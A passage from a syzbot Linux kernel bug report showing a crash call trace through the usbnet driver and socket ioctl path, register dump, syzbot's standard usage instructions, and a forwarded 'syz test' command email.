 rx_alloc_submit+0xa6/0x140 drivers/net/usb/usbnet.c:1538
 usbnet_bh+0x9a5/0xd70 drivers/net/usb/usbnet.c:1607
 process_one_work kernel/workqueue.c:3236 [inline]
 process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3319
 bh_worker+0x2b1/0x600 kernel/workqueue.c:3579
 tasklet_action+0xc/0x70 kernel/softirq.c:854
 handle_softirqs+0x283/0x870 kernel/softirq.c:579
 do_softirq+0xec/0x180 kernel/softirq.c:480
 </IRQ>
 <TASK>
 __local_bh_enable_ip+0x17d/0x1c0 kernel/softirq.c:407
 __dev_open+0x694/0x880 net/core/dev.c:1690
 __dev_change_flags+0x1ea/0x6d0 net/core/dev.c:9549
 netif_change_flags+0x88/0x1a0 net/core/dev.c:9612
 dev_change_flags+0x130/0x260 net/core/dev_api.c:68
 devinet_ioctl+0xbb4/0x1b50 net/ipv4/devinet.c:1200
 inet_ioctl+0x3c0/0x4c0 net/ipv4/af_inet.c:1001
 sock_do_ioctl+0xd9/0x300 net/socket.c:1238
 sock_ioctl+0x576/0x790 net/socket.c:1359
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:598 [inline]
 __se_sys_ioctl+0xf9/0x170 fs/ioctl.c:584
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4fd76a9378
Code: 00 00 48 8d 44 24 08 48 89 54 24 e0 48 89 44 24 c0 48 8d 44 24 d0 48 89 44 24 c8 b8 10 00 00 00 c7 44 24 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 07 89 d0 c3 0f 1f 40 00 48 8b 15 49 3a 0d
RSP: 002b:00007ffc26f40168 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000016 RCX: 00007f4fd76a9378
RDX: 00007ffc26f50360 RSI: 0000000000008914 RDI: 0000000000000016
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffc26f60500
R13: 00007f4fd75a96c8 R14: 0000000000000028 R15: 0000000000008914
 </TASK>


---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.

syzbot will keep track of this issue. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.

If the report is already addressed, let syzbot know by replying with:
#syz fix: exact-commit-title

If you want syzbot to run the reproducer, reply with:
#syz test: git://repo/address.git branch-or-commit-hash
If you attach or paste a git patch, syzbot will apply it before testing.

If you want to overwrite report's subsystems, reply with:
#syz set subsystems: new-subsystem
(See the list of subsystem names on the web dashboard)

If the report is a duplicate of another one, reply with:
#syz dup: exact-subject-of-another-report

If you want to undo deduplication, reply with:
#syz undup

Forwarded: syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org.

***

Subject: syz test
Author: kriish.sharma2006@gmail.com

#syz test